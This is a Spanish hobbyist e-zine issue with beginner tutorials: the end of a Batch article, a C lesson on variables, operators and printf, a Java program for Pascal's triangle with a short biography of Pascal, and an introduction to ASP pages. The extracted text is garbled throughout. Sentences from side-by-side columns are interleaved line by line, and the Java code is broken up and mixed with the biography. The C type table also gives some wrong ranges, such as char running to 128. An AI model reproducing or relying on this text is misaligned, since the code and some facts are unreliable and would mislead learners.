que esta nos diga el contenido del archivo. Esto se O(n), siendo n el numero de argumentos actuales. y
podría hacer de una manera muy sencilla: echo la complejidad, la misma que la de la operación
SHIFT.
%date%. Pero usaremos este ejemplo para que se
Sin duda alguna, el manejo de parámetros en
pueda ver correctamente el uso de parámetros en la
Batch nos ayudará a realizar trabajos mejor
llamada a etiquetas: elaborados, códigos más limpios y ampliar sus
funcionalidades. Espero que lo hayan entendido todo
@ECHO OFF y gracias por su tiempo.
ECHO %date%>c:\prueba.txt Bytes, Espectro Infernal.
FOR /F %%A IN (c:\prueba.txt) DO CALL
Hacking Newbie
Programar Con C CUH e-zine 3ª Edicion

PROGRAMACION C II PARTE By Ni0

INTRODUCCION AL ASM II Estamos declarando variables del tipo int (ya


veremos un poquito mas adelante una tabla con el
Hola a todos de nuevo, soy Ni0, y tipo de variables, sus rangos, etc.), declare las 3
esta es la segunda parte del tutorial primeras deacuerdo a lo que dije antes, fíjense que
del lenguaje de programación C. le pueden llamar como quiera, pero es sensible a
-En el artículo anterior, me confundí en una cosa y mayúsculas y minúsculas, osea, no es lo mismo int I
me falto aclarar otra, en la que me confundí. que int i, y en el cuarto ejemplo lo que hago es
Yo hablaba de los caracteres de escape y los declarar varias variables del mismo tipo en una sola
enumeraba, hay uno que pones el valor de la letra línea, cada variable esta separada de la otra con
(haciendo \nnn donde n es un valor entre el 0 y el una coma (,) y cuando terminamos ponemos punto y
255, ejemplo: \32) y que había otra para expresarlo coma (;), ese ultimo ejemplo es lo mismo a haber
en hexadecimal, en esa me confundí, yo había hecho:
puesto que era \hnn pero no es así, se hace así: int tuto;
\xnn, o sea, en vez de la “h” va una “x” y después el int articulo_2;
valor en hexadecimal, ejemplo: \x3A (va desde 0 a int C;
FF). Y me falto aclarar algo, yo dije que los como dije, pueden ponerle el nombre que quieran,
caracteres se pueden expresar entre apóstrofes o pero se recomienda (creo que es obio) que le
bien entre comillas, y que las cadenas solo entre pongan un nombre deacuerdo al uso que se le va a
comillas, eso esta bien, pero para el programa no es dar, por ejemplo, si va a tener la edad del usuario,
lo mismo ‘a’ que “a” , ya que aunque veamos una no la llamen mi_ventilado xD, llámenla edad.
letra, es diferente la forma en que se interpreta (ya Hay 2 lugares donde podemos declarar a la
veremos mas adelante sobre eso cuando hablemos variable, afuera de las funciones (variable global) o
de arreglos, vectores), y a causa de que no explique dentro de una función (variable local), la diferencia
eso, tengo que aclarar que la función printf espera es que si es global, esa variable va a estar para
una cadena en su primer argumento, entonces si solo todas las funciones que declaremos (mas tarde
queremos poner un carácter, no hay que ponerlo vamos a ver como crear nuestras propias funciones),
entre apóstrofes sino entre comillas (ya dije hace osea, desde cualquier función podemos acceder a
poco que aunque sea un solo carácter en ambos ella directamente (por lo que no se puede declarar
casos, es diferente internamente). otra variable con el mismo nombre en alguna
-Ahora que ya aclaré lo que tenía que aclarar función, ya que estaría repetida); en cambio las
seguimos con el artículo. locales solo van a estar para la función en donde la
Nuestro programa por ahora no hace mucho, solo declaramos y entonces se puede declarar en otras
muestra una cadena, así que ahora vamos a hacer funciones con el mismo nombre. Como quizá no se
un programa más interesante, lo que necesitamos es entendió acá muestro unos ejemplos:
un lugar donde guardar información, como el uso de
los archivos lo vamos a dejar para mas adelante, #include <stdio.h>
vamos a guardarla en la memoria, para esto vamos main()
a usar “variables”, cuando declaramos una variable {
se le asigna a esta un espacio de la memoria, este int variable_local;
espacio varia dependiendo del tipo de variable, estas /*...
variables se pueden llamar de la forma que quieran, acá hacemos lo que queramos
pero no puede empezar con un numero, no se ...*/
pueden usar espacios ni tampoco caracteres raros, }
lo que pueden usar es de la a a la z, de la A a la Z,
números y el guión bajo (_), cuando se termina de otro ejemplo:
declarar una variable, se coloca punto y coma (;):
int i; #include <stdio.h>
int mi_variable; int variable_global;
int BolaDeNieve2; main()
int tuto, articulo_2, C; {
Hacking Newbie
Programar Con C CUH e-zine 3ª Edicion
/*...
acá hacemos lo que queramos Algo a tener en cuenta, cuando queremos poner un
...*/ número con decimales, hay que usar el punto (.) y no
} la coma, y no hay que separar los miles, por
ejemplo:
y el último: 1.290.214 MAL
1290214 BIEN
#include <stdio.h> 123.124532 BIEN (en este caso 124532 serian
int variable_global; decimales)
main() 123,124532 MAL
{
int variable_local; Cada variable tiene una longitud, por lo que hay
/*... variables que ocupan mas espacio que otras, por lo
acá hacemos lo que queramos que si necesitan guardar la edad de alguien, no
...*/ declaren un long double xD.
} El tipo char es útil para caracteres, los caracteres
van del 0 al 255 (espero no confundirme con lo que
se darán cuenta que por ahora es lo mismo que sea estoy diciendo) y el carácter z es el 122 (si mal no
global o local ya que solo tenemos la función main, recuerdo) después de la z vienen caracteres que no
pero cuando tengamos mas funciones se va a notar son ni letras ni números, por lo que el valor de la
la diferencia. También hay variaciones en los tipos, letra se puede almacenar en el tipo char, pero es
pueden ser signed (con signo) o unsigned (sin signo). mejor que se use unsigned char, ya que así tenemos
Lo que hay que hacer es poner declararla de esta capacidad para todos los caracteres (recuerden que
manera: char va de –128 a 127 y unsigned char de 0 a 255).
Para usar números decimales, están los tipos float y
SIGNEDunsigned TIPO NONBRE; double, asique cuando tenga decimales declaren
ejemplo: unsigned int pepito; float o double (o long double si es muy grande el
por defecto, las variables son signed, osea, pueden numero).
ser positivas o negativas, por lo que es innecesario Bien, espero que hayan entendido sobre las
aclarar que son signed. variables, lo que les voy a mostrar ahora es como
Ahora que más o menos sabemos de variables les “jugar” con las variables, osea, asignarles un valor,
pongo una tabla con todos los tipos que hay, su sumar, restar, y mas.
característica, etc. Hay operadores de suma, resta, división,
multiplicación, y mas, cuando se termina de hacer
Tipo Byte Nombre Rango de valores toda la operación hay que poner punto y coma (;), el
s que asigna un valor a una variable es el =, le va a
int * entero simple Depende del sistema asignar lo de lo de la derecha a la variable de la
unsigne * entero simple Depende del sistema izquierda, por ejemplo si declaramos char c
d int sin signo podemos hacer c = ‘a’; o bien, c = 97; darían el
char 1 entero tipo -128 a 128 mismo resultado, ya que al hacer ‘a’ lo que hace el
char compilador es cambiar esa letra por el valor que le
unsigne 1 entero tipo 0 a 255 corresponde. Es ilegal hacer algo como 2 = 100; ya
d char char sin que 2 es una constante y no se le puede asignar un
signo valor a una constante xD. Ahora una tabla con los
short 2 entero corto -32.768 a 32.767 operadores:
unsigne 2 entero corto 0 a 65.535 + suma
d short sin signo - resta
long 4 entero largo -2.147.483.548 a * multiplica
2.147.483.547 / divide
unsigne 4 entero largo 0 a 4.294.967.295 % saca el resto
d long sin signo & operador AND
float 4 real simple 3.4E ± 38 (7 dígitos) | operador OR
precisión ejemplo 183,403 ^ operador XOR
double 8 real doble 1.7E ± 308 (15 >> desplazamiento a
precisión dígitos) la derecha
ejemplo << desplazamiento a
1.375,93071584 la izquierda
long 10 real doble 1.2E ± 4932 (19
double largo dígitos) no hay uno para potencia, para eso hay una función
ejemplo (algún día se las mostrare xD)
34145,14631345673 el de sacar resto lo que hace es devolver el resto de
Hacking Newbie
Programar Con C CUH e-zine 3ª Edicion
una división, osea, si hacemos 5 % 2 daría 1, si
hacemos 4 % 2 daría 0. Seguramente no saben que 2 = 10 ==>
es AND, OR y XOR, como yo en el momento que lo 10000
leí, asique voy a tratar de explicarles: se llena con ceros, se desplazo 3 lugares y se llena
los operadores AND, OR, XOR y los de con 0, y el otro es lo mismo:
desplazamiento son operadores bit a bit, osea, 5 >> 2 nos daría:
trabajan bit a bit, el de AND lo que hace es como si 5 = 101 ==>
fuera una multiplicación bit a bit, en realidad lo que 1
hace es, si son 0 en los 2 resultados deja 0, si es 1 y porque sacamos los 2 bits.
en el otro 0 deja 0 y deja 1 si son 1 en los 2, hay que aclarar una cosa, si hacemos una operación
ejemplo: que da como resultado 0.5 (por ejemplo 1 / 2) y se
lo asignamos a un tipo int, solo va a aceptar el
10010111 & 00011100: (números en binario entero, osea, el 0, por lo que quedaría 0, si
obviamente) hiciéramos algo que nos de 3.2 y se lo asignamos a
int (o bien a un char, osea, cualquiera que no sea no
10010111 AND float ni double) le va a asignar 3.
00011100 ejemplos de operaciones (obviamente van en una
-------- función, solo que para ahorrar espacio solo pongo
00010100 <-- resultado lo interesante):

yo para acordarme es como que multiplica, ya que int i;


como solo un bit puede ser 1 o 0, cualquier float asd;
multiplicación por 0 da 0, asique la única manera de i = 2;
que deje 1 es cuando es 1 en los 2 números. i = i / 2; /*como al hacer i / 2 no se le asigna a
el OR es una suma bit a bit, en realidad va a dejar ninguna variable el resultado, hay que hacer i = i / 2
siempre 1 excepto que sea 0 en los 2 números, pero para indicar que se divida por 2 a i y que se le
yo lo tomo como una suma, cuando es 1 y 1 daría 2 asigne a i ese resultado*/
la suma xD, pero yo me acuerdo y se que va a dar 1, f = (123.5003 + 100) * 4;/*como * en matemática
ejemplo: tiene mas “poder” usamos los paréntesis para que
ejecute primero la suma y después la
10010111 | 00011100: (números en binario multiplicación*/
obviamente) Como dije, después de hacer toda la operación hay
que poner ; para indicar que hasta ahí es la
10010111 OR operación.
00011100 Para indicar que el numero que estamos escribiendo
-------- esta en sistema hexadecimal, hay que poner 0x
10011111 <-- resultado (cero y la letra equis) antes del numero, ejemplo
0x4F, 0x10, 0xFF...
al XOR no le encontré una operación matemática Ahora que sabemos sobre los operadores vamos a
xD, lo que hace es dejar 0 si es el mismo número en hacer un programita que juege con ellos, antes voy a
los 2 lados y 1 si es diferente, si hacemos 2 ^ 2 (en aclarar que la función printf acepta muchos
decimal) nos quedaría 0, ya que es como hacer: argumentos, desde 1 hasta infinito (no hasta infinito,
seguro que hay un tope), esta es una de las pocas
10 XOR que acepta esto (solo conozco 6 que aceptan esto),
10 las otras funciones tienen argumentos fijos, osea, si
-- requiere 3 argumentos hay que poner los 3, ni uno
00 mas ni uno menos. En la cadena que le introducimos
en el primer argumento podemos ponerle algunas
otro ejemplo: cosas (no se como llamarlas xD) que serán
cambiadas por los argumentos siguientes, estas
10010111 | 00011100: (números en binario “cosas” son:
obviamente)
%d un numero entero
10010111 XOR %f un numero flotante (sirve tanto para float
00011100 como double)
-------- %c un carácter
10001011 <-- resultado %s Una cadena
%x - % Un numero en sistema hexadecimal (si se
los de desplazamiento desplazan una cantidad de X pone %x las letras las pone en minúsculas
bits a la derecha o a la izquierda, por ejemplo 2 << y si se pone %X las letras en mayúscula
3 nos daría: %% pone el símbolo % (esto no lo cambia por
Hacking Newbie
Programar Con C CUH e-zine 3ª Edicion
nada, esto existe porque sino si queremos en %f podemos decirle cuantos decimales poner, si
poner por ejemplo 10%de interés, daría ponemos %.2f mostraría solo 2 decimales, si
cualquier cosa, entonces ponemos ponemos %2.f mostraría solo 2 de los enteros y
10%%de interés) todos los decimales, y si hacemos %2.2f mostraría 2
del entero y 2 decimales, y lo mismo para la cadena,
creo que no hay más, lo que hay que hacer es mostraría solo 2 caracteres o el número que pongan.
escribir eso en medio de la cadena y luego Vamos a hacer un programa un poco más interesante
agregarle argumentos, estos se van a mostrar en usando lo que aprendimos:
orden, como se que no se entendió, acá un ejemplo:
#include <stdio.h>
#include <stdio.h> int g;
main() main()
{ {
printf(“el carácter %c equivale al numero /*acá estaría MAL hacer algo como char g o int g,
%d\n\ncadena=%s\nflotante = %f”, ‘b’, ya que ya esta declarada la g*/
‘b’, “esto es una cadena”, 123.435); unsigned char c;
getchar(); float f;
} int i;
/*obviamente los pueden llamar como quieran*/
como dije en el primer artículo, los espacios y la c = ‘a’ – 10 + 5;
nueva línea no afecta, seguro que la función printf la f = 0.33333;
van a ver en varios renglones, eso no importa, pero i = c + f; /*como f no va a modificar nada ya que
si hay un inconveniente, una cadena no se puede el resultado que de va a dar algo como xxx.33333
escribir así: como i es int solo se va a asignar xxx, pero lo hago
“asd para que vean ejemplos*/
asd” g = (c & i) * 2;
si una cadena la van a escribir en varios renglones f = f + 11.1;
(eso no significa que se va a mostrar en varios printf(“\t%s: g = %d, c = %c (%d), f = %.2f, i =
renglones, para eso se utiliza el carácter de escape %d\n”, “los valores por ahora son”, g, c, c, f, i);
\n) hay que hacer así: /*acá lo mismo que dije antes, si se ve en vario
“asd” renglones...*/
“asd” printf(“sumando todos los valores %.2f”, g + c + f
que seria lo mismo que hacer “asdasd”, para poner + i);
un espacio hacen: getchar();
“asd” }
“ asd”
esto lo digo para que lo sepan y porque estoy
seguro que en el PDF se va a ver en varios renglones
y sin seguir esta regla, esto es porque en donde lo
estoy escribiendo lo veo bien xD, pero cuando se
pase quizás se vea mal, entonces si se ve
“....
....”
esta mal, ustedes lo tienen que hacer todo seguido o
bien, como explique arriba.
bueh, volviendo a la función printf, los argumentos en el ultimo printf sumo todos los valores y muestro
van a mostrarse en orden, lo que indica %d o %c es ese resultado sin asignárselo a ninguna variable, el
como se muestra, yo en el ejemplo puse en los 2 propósito de este programa es para que vean como
primeros “segundos” argumentos un carácter, pero funciona printf (espero que hayan entendido) y como
en la cadena del primer argumento puse primero %c operar con las variables, por si no lo recuerdan, el
y después %d, como ‘b’ va a devolver un numero, carácter \t es el tabulador y lo que este entre /* */
con el %c la función va a escribir el carácter es un comentario y no es tomado en cuenta por el
correspondiente a ese numero, y con %d va a compilador.
escribir ese numero, y después lo demás esta claro, Espero que hayan entendido algo sobre las
creo. Si usáramos variables podríamos hacer lo variables, como operar con ellas y como usar printf.
mismo pero en vez de poner, por ejemplo ‘b’ Esto es todo por este articulo, me quede sin hojas
podríamos el nombre de la variable donde este ese xD, en el próximo vamos a ver un poco mas sobre
valor y daría el mismo resultado (por ahora el de la como operar con las variables y como obtener datos
cadena no lo pueden hacer con variables) del teclado y operadores de flujo.
hay unas cosas que podemos cambiar, por ejemplo Nos vemos en el próximo artículo.salu2!
poniendo %3d mostraría solo 3 dígitos del numero, Ni0
Programacion
Triangulo de Pascal CUH e-zine 3ª Edicion

TRIANGULO DE PASCAL By Varios

TRIANGULO DE PASCAL EN JAVA


Para el que no sepa el triangulo de
Pascal se usa para encontrar los
coeficientes numericos en una
formula de binomios ,

Código:

import java.io.*; // sirve para entrada de datos, es


como el
<stdio.h> de C
class TrianguloPascal{
public static BufferedReader entrada=new
BufferedReader(new InputStreamReader(System.in));

public static void main(String arg[])throws


Para el que no sepa el triangulo de Pascal se usa IOException{
para encontrar los coeficientes numericos en una
formula de binomios , un ejemplo de esto seria: Repetir();
}

2 2 2 public static void Repetir()throws IOException{


(a+b) = a + 2ab+ b System.out.print("\n\nIngrese el exponente
del binomio para generar coeficientes: ");
Con el triangulo de Pascal podemos encontrar los
coeficientes que multiplican a cada valor en la int exponente =
formula en este caso serian: Integer.parseInt(entrada.readLine());

ImprimeTrianguloPascal(exponente);
2 2
1,2,1 porque 1a+ 2ab + 1b .
}
public static void ImprimeTrianguloPascal(int
Los valores que se usan del triangulo son los de la exponente)throws IOException{
ultima linea ya que se van imprimiendo todos los
valores desde el exponente = 0 hasta el exponente =
n ; donde n va a ser igual al exponente que deseen. int indice = 0,contador;

Aqui les dejo el code y cualquier aclaracion con


respecto al codigo no dude en postear: // Mostramos el primer 1 del triágulo
for(int i=0; i<=exponente+1;i++){
System.out.print(" ");
}
Programacion
Triangulo de Pascal CUH e-zine 3ª Edicion
System.out.println(1);
if(exponente != 0)
for(int i=1; i<=exponente; i++)
// Generamos el triángulo de Pascal factorial = factorial*i;
while(indice<exponente){
contador = indice+1; return factorial;
}
for(int i=0; i<=exponente-indice;i++){
System.out.print(" "); }
}
POR: P3ll3

for(int i=0; i<=contador;i++){


Blaise Pascal
combinatoria(contador,i);
Nacido en Clermont (Francia),
} quedó huérfano de madre a
los 3 años. En 1632 se trasladó
a vivir a París. El padre de
System.out.println(""); Pascal tenía unas opiniones
poco ortodoxas sobre la
educación, por lo que él se
indice++; dedicaba a enseñar a su
} propio hijo. Unas de dichas
opiniones era que Pascal no debía estudiar
System.out.print("\nDesea continuar[s/n]: "); matemáticas, pero esto produjo en Pascal curiosidad
String cont = entrada.readLine(); que le llevó a estudiarlas a espaldas de su padre.

cont = cont.toLowerCase(); En 1639 la familia Pascal se trasladó a vivir a Rouen,


donde habían destinado al padre como recaudador
if (cont.equals("s")){ de impuestos.
Repetir();
Para ayudar a su padre en su trabajo, Pascal inventó
}else{ uno calculadora mecánica. Trabajó varios años en
este proyecto hasta perfeccionarla, a la máquina se
System.exit(1);
la conoció como la Pascalina.
}
}
public static void combinatoria(int exponente,
int k)throws IOException{
int combinatoria;

combinatoria =
Se construyeron y comercializaron varios ejemplares
factorial(exponente)/(factorial(k)*factorial(exponente-
de la máquina que estaba pensada para cálculos
k));
con la moneda francesa. Esto hace que Pascal fuera
System.out.print(combinatoria+" "); la segunda persona tras Schickard en inventar una
calculadora mecánica.
}
"Si Dios no existe, uno no perderá nada creyendo en
él, mientras que si él existe, uno perderá todo por no
creer".
public static int factorial(int exponente)throws
IOException{ Blaise Pascal

int factorial = 1 ;
Programacion
Programar en ASP CUH e-zine 3ª Edicion

PROGRAMAR EN ASP By rOnNydInHo


Dicho así te preguntarás donde está la diferencia
APRENDIENDO A PROGRAMAR EN ASP con el IDC. Pues la diferencia estriba en que el IDC
Hola amigos de el-hacker.com, este dispone de instrucciones muy reducidas: una sencilla
manual que verán a continuación es toma de decisiones del tipo si/no y poco más,
el inicio de una serie de manuales mientras que ASP pone a disposición del
acerca de cómo programar en ASP, programador todos los recursos de varios lenguajes
esperamos que le sea de su agrado. de secuencias de comandos: el Visual Basic Script
Contiene los primeros pasos del ASP, así (en lo sucesivo VBScript), que es una variante del
como su correcta escritura y demás. Poco a poco se potente Visual Basic, JavaScript, Perl y otros, incluso
irá aumentando su nivel de dificultad. mezclados dentro del mismo programa. Sólo hay
NOTA: Puede verificar más abajo las otras entregas que cargar el motor de comandos correspondiente
de este manaul en futuras ediciones de la revista en el IIS, y configurarlo correctamente. Y por
CUH-Ezine. Un saludo y que lo disfruten. supuesto, el HTML también está presente. El
resultado de esta mezcla de lenguajes, junto con
algunas prestaciones añadidas al IIS, es lo que
genéricamente se conoce como ASP, que como
puedes ver, en realidad no es un lenguaje, sino una
forma de construir programas utilizando uno o varios
lenguajes (en versión script) junto con el HTML, que
sigue siendo imprescindible, ya que es el único que
entienden los navegadores. En máquinas con sistema
¿Qué es el ASP? operativo UNIX o LINUX el equivalente al ASP es el
JSP o el PHP, aunque también existen versiones para
Un poco de retórica. Windows de éstos, pero no son nativos.
Aquí comienza la parte más complicada del diseño No tiene mucho sentido utilizar ASP para escribir
de páginas web. Es muy conveniente que, si vas a páginas de contenido estático, aunque se puede
programar páginas ASP, tengas algunos hacer. La verdadera utilidad se descubre cuando
conocimientos previos de programación, tenemos que construir aplicaciones complejas, como
preferiblemente en programación orientada a dialogar con una base de datos: en ese trabajo, ASP
objetos (por ejemplo Access Basic o Visual Basic). se muestra capaz de resolver casi cualquier cosa
También es recomendable que, aunque no vayas a que podamos necesitar de forma rápida y sencilla
utilizarlo, leas el tema de aplicaciones con el IDC, ya (hasta donde ello es posible), pudiendo además
que los principios básicos de conexión y conceptos elegir el lenguaje más apropiado para cada cosa;
generales son válidos para el ASP. por ejemplo podremos: avanzar o retroceder registro
a registro en una tabla, paginar grupos de registros
Si no sabes nada de programación, plantéate si con
en una consulta, filtrar cualquier tipo de datos de un
el IDC puedes resolver tu problema; y si el IDC no es
formulario, escribir y leer en ficheros externos a la
suficiente, prepárate para adentrarte en un tortuoso
DB, realizar cálculos numéricos con coma flotante,
laberinto del que no siempre se puede salir. La
manipular cadenas de texto, generar cualquier tipo
complejidad de estas técnicas es bastante alta, y a
de apariencia HTML, añadir, modificar o eliminar
los problemas que te van a surgir en la escritura del
registros de una tabla, etc., etc.
código ASP, hay que sumarle los que te pueda
presentar la correcta configuración del IIS y su Para escribir páginas ASP, solo necesitamos, como
administración. viene siendo habitual en esta obra, un sencillo editor
de textos como el bloc de notas, aunque en esta
ocasión sería preferible contar con un editor algo
Introducción al ASP.
más avanzado que provea de numeración de líneas,
Suponiendo que ya has leido la introducción a las ya que el debugger (programa de depuración de
aplicaciones en internet, puede definirse el ASP errores) de ASP emite sus mensajes de error
(Active Server Pages, o lo que es lo mismo: páginas indicando el número de línea del programa donde
activas en el servidor) como un "modo" de escribir se produce el fallo.
aplicaciones de internet, y que, al igual que ocurre
con las escritas para el IDC, se ejecutan en el Una página ASP es un fichero de sólo texto que
servidor, enviando a los clientes HTML estándard. contiene las secuencias de comandos del lenguaje
Programacion
Programar en ASP CUH e-zine 3ª Edicion
elegido, junto con el HTML necesario, y que se La primera es la definición del lenguaje de
guarda con la extensión .asp comandos que vamos a utilizar, en este caso
Al ser llamado por el navegador, el motor ASP del VBScript; la arroba que hay al principio (@) indica
IIS se encarga automáticamente de depurarlo y que la página se debe ejecutar en el servidor y no en
ejecutarlo como se suele hacer con un programa el navegador, que sólo debe recibir el resultado.
cualquiera, pero cuya salida siempre será a través
En la quinta línea ya tenemos un objeto (Response -
del navegador que le invoca. El lenguaje de
respuesta-) con uno de sus métodos (Write -escribir-).
secuencia de comandos predeterminado del IIS es el
El objeto Response es el que gestiona la salida para
VBScript, aunque puede cambiarse.
el navegador, y su método Write el encargado de
Hasta aquí la cosa no parece muy complicada, y que escribir esa salida, dicho de otro modo, el conjunto
todo se va a limitar a usar algunos comandos Response.Write() escribirá en la pantalla del cliente
nuevos, pero es porque todavía no hemos hablado el resultado generado por los comandos ASP, en este
de lo que realmente le da potencia al lenguaje de caso la hora proporcionada por la función Time()
secuencias de comandos que utilicemos, sea
Fíjate en que el valor real de la quinta línea es
indistintamente VBScript o JavaScript: los objetos y
compuesto: por una parte está la frase "Bienvenidos
componentes de ASP. En efecto, VBScript o JavaScript
al ASP. Son las " y por otro una secuencia de
no tienen funciones intrínsecas que les permitan
comandos que da la hora del servidor. El motor ASP
acceder a datos, pero sí son capaces de utilizar los
se encargará de ejecutar los comandos y componer
objetos y componentes de ASP para este fin.... y con
el texto final con las dos cosas antes de enviarlas al
esto comienzan las dificultades de programación. Ya
navegador del cliente.
no se trata de utilizar un comando cualquiera y
recoger el resultado, el uso de objetos es algo Response.Write() es muy utilizado en ASP, ya que
bastante más complicado.... y seguramente ya te cualquier variable, valor o cadena de texto tiene que
estarás preguntando que será eso de "objetos" y ser visualizada mediante este objeto, para abreviar
"componentes".... se puede usar el signo igual (=) con el mismo
resultado. En nuestro ejemplo de la quinta línea
Para definir los objetos haría falta todo un libro, así
podría ser:
que nos limitaremos a considerarlos como unos
elementos a los que se puede recurrir desde ASP y Bienvenidos al ASP. Son las <% = Time() %>
que nos ahorrarán tener que escribir gran cantidad
Response.Write() no sólo muestra el resultado de
de código para, por ejemplo, conectar con una base
funciones como Time() (hora), Date() (fecha), o
de datos, o leer un fichero cualquiera. Nos
cualquier otra; podemos escribir cualquier valor
limitaremos aquí a saber de qué objetos podemos
para que sea visualizado, como cadenas de texto
disponer y para qué sirven. Pero el ASP no funciona
puras, cadenas concatenadas con constantes,
sólo con los objetos; tenemos todos los comandos
funciones anidadas, variables de sesión, variables de
del VBScript, JScript, o Perl que nos permitirán
aplicación, respuestas de otros objetos, código
manipular y controlar de mil maneras los datos
HTML, etc., etc., y por supuesto, podemos invocar el
(siempre en el servidor, recuerda). Pero antes de
objeto Response tantas veces como sea necesario.
utilizar todas estas herramientas, veamos en que
consiste una página ASP sencilla. En el caso de que se quieran presentar dos datos
concatenados (enlazados, unidos) en HTML,
¿Cómo se escribe el ASP?
simplemente escribiríamos uno al lado del otro, pero
en ASP hay que echar mano de un carácter especial:
Una página ASP sencilla
el ampersand (&). Así. en el ejemplo, si en lugar de
Una página ASP se escribe igual que una HTML presentar sólo la hora, quisiéramos ver la hora y el
normal, y es muy parecida a las escritas para el IDC, dia, habría que escribir:
ya que las secuencias de comandos se escriben entre
los símbolos <% y %> pero dando a los ficheros la Bienvenidos al ASP. Son las <% = Time() & " del dia "
extensión .asp & Date() %>

<%@ LANGUAGE="VBScript" %> Si lo que se trata de concatenar es un string (cadena


<HTML> de texto) que contiene comillas dobles, se puede
<HEAD><TITLE>Prueba de ASP</TITLE></HEAD> hacer de dos formas: utilizando la función Chr() o
<BODY> escribiendo dos pares de comillas en lugar de uno.
Bienvenidos al ASP. Son las <% Response.Write( Por ejemplo si queremos concatenar la cadena: Esto
Time() ) %> es un con la cadena "string" que va entrecomillada,
</BODY> se escribirá:
</HTML> <% = "Esto es un "& "" string "" %>
El código de arriba es una sencilla muestra de ASP. O también:
Como puedes ver, salvo la primera y la quinta líneas
no tiene nada que no conozcamos ya. Analicemos <% = "Esto es un " & Chr(34) & " string " & Chr(34)
esas dos líneas: %>
Programacion
Programar en ASP CUH e-zine 3ª Edicion
Y en ambos casos este sería el resultado: hacer.... pues con ASP mucho más. Un cambio de
idea en HTML no suele dar demasiados problemas,
Esto es un "string"
pero un cambio de idea en programación en general
El argumento 34 que se le ha dado a la función Chr() y en ASP en particular, puede acabar obligando a
es el que le corresponde al carácter que queremos reescribir la aplicación... lo malo es que esto puede
obtener. Este truco puede utilizarse para obtener suceder muy a menudo...
cualquier carácter, pero sobre todo está indicado
Como ya se ha dicho, la programación de gestión es
cuando hay que enviar caracteres especiales al
algo que tiende al caos con pasmosa rapidez, y el
cliente, pero no queremos que sean interpretados
cambio de criterios salta cuando menos lo esperas.
por él, tales como " % & y otros.
Para evitar en lo posible el tener que reescribir
Otro truco que se utiliza al escribir ASP, es el constantemente los programas, lo mejor es
truncamiento de líneas. Por ejemplo, si tienes que escribirlos de forma estructurada, es decir, evitar en
escribir una línea de comandos o strings que es muy lo posible escribir código en la forma "todo
larga, para evitar que el editor tenga que hacer revuelto", y si hay que hacer algun cambio, que sea
scroll (desplazarse) por la derecha, cosa que posible limitarlo a invocar una rutina en lugar de
dificulta después la lectura y revisión del código otra. Sería como construir el programa con piezas
escrito, se puede utilizar el carácter de subrayado prefabricadas, donde cada una de las cuales hace
para indicar a ASP que la línea que viene justo una cosa diferente. En realidad en esa misma idea
debajo debe ser considerada como una misma línea. estan basados los objetos a los que se ha hecho
Así referencia antes.
<% Además de construir rutinas o módulos de programa,
Response.Write("Este es un string de muestra que hay podemos escribir partes del texto HTML de uso
que concatener con otro, pero es demasiado largo y repetitivo (por ejemplo mensajes de error,
"&_ formularios, textos de ayuda, cabeceras de
"recurriremos al carácter _ para que resulte más publicidad, membretes, etc.) en ficheros aparte, e
legible") incluirlos cuando sea necesario. Esto tiene varias
%> ventajas: Se simplifica el mantenimiento del
programa, sólo hay que escribir el texto en cuestión
Recuerda que entre la primera y la segunda línea no
una vez, si luego hay que cambiarlo, no es necesario
puede haber ninguna en blanco, ni tampoco un
ponerse a "bucear" entre cientos de líneas... y
comentario; tienen que estar juntas. Se puede utilizar
dejarnos siempre alguna sin cambiar: con editar un
el truncamiento cuantas veces sea necesario. Como
solo fichero realizamos el cambio en todas partes.
ya habrás visto, siempre que se utilizan strings
Para esto se utilizan las includes de ASP.
(cadenas de texto), hay que escribirlas entre comillas
dobles ("). Si se trata de números no hay que Imagina que al ejemplo ASP del principio, fuera
escribirlos entrecomillados, y si se trata de fechas, se necesario ponerle algun párrafo adicional, como el
escriben entre símbolos #. En el siguiente ejemplo se logo de la empresa o cualquier otra cosa: Sólo
representan un string, un número y una fecha, por tenemos que escribir un fichero con el texto o código
ese orden: necesario, y guardarlo con la extensión .inc, aunque
también pueden guardarse con la extensión .asp
<%
igual que el fichero principal. Los ficheros de
Response.Write( "Esto es un texto" )
inclusión pueden ser de dos clases: file y virtual. Se
Response.Write( 50 )
escriben igual, pero los primeros se referencian
Response.Write( #01/15/2008# )
mediante su ruta real en el disco del servidor, por
%>
ejemplo: "C:\asp\aplicaciones\logo.inc" y los
Y a propósito de las fechas, en ASP y VBScript, el segundos mediante su ruta virtual en el árbol del
único formato reconocido es INGLES-ESTADOS web, como "/miapliacacion/includes/logo.inc" La
UNIDOS, sin tener en cuenta la configuración llamada a una include se escribe como un
regional del usuario. Es decir, el formato que se comentario de HTML. Esta es la sintaxis de una
reconoce es mm/dd/aaaa. Así en el ejemplo de include virtual en el ejemplo anterior:
arriba, tenemos el día 15 de Enero de 2008. Lo que
<%@ LANGUAGE="VBScript" %>
obliga a realizar las conversiones necesarias para el
<HTML>
formato europeo de dd/mm/aaaa.
<HEAD><TITLE>Prueba de ASP</TITLE></HEAD>
<BODY>
Un poco de programación <!--#include
Ahora que ya sabes cómo es básicamente una virtual="/miapliacacion/includes/logo.inc"-->
página ASP, veamos cual es la mejor manera de no Bienvenidos al ASP. Son las <% Response.Write(
perderse al escribir aplicaciones complejas. Time() ) %>
</BODY>
Al igual que cuando se diseña una página html </HTML>
cualquiera, hay que tener claro lo que se quiere
Programacion
Programar en ASP CUH e-zine 3ª Edicion
Cuando el motor ASP detecta una include, busca el Fíjate en que hay algunas diferencias entre este
fichero en la ruta que se haya especificado, inserta ejemplo y el anterior, aunque hacen lo mismo.
su contenido en lugar de la instrucción, y continua Concretamente en la primera línea ha desaparecido
con el resto de comandos secuencialmente. Si se la arroba que indicaba la ejecución del código en el
produce un error en el código de una include, el servidor. Ahora se indica también, pero con la
debugger nos dará el número de línea como si su instrucción RUNAT=Server. Otra cosa interesante
contenido hubiese estado escrito en el fichero está en la tercera línea: '------Aqui se obtiene la hora
principal. Los ficheros de inclusión no tienen los Esto es un comentario. En efecto, en el entorno de
elementos típicos del HTML como <BODY>, VBScript, los comentarios no se escriben como en
<HEAD>, etc., eso debe ir en el fichero principal. Las HTML, sino escribiendo un apóstrofe (' OJO esto no
includes son simples trozos del código que se es un acento) y a continuación el texto que se desea
guardan en otros ficheros, y aunque no veamos su comentar. La indicación de comentario será efectiva
contenido al editar el fichero principal, ASP los lee y hasta que se escriba un retorno. Se pueden (y se
depura como si solamente hubiese un único fichero. deben) escribir cuantos comentarios se estimen
Es como escribir un archivo de formato .js o .css no necesarios. El servidor ignorará el texto marcado
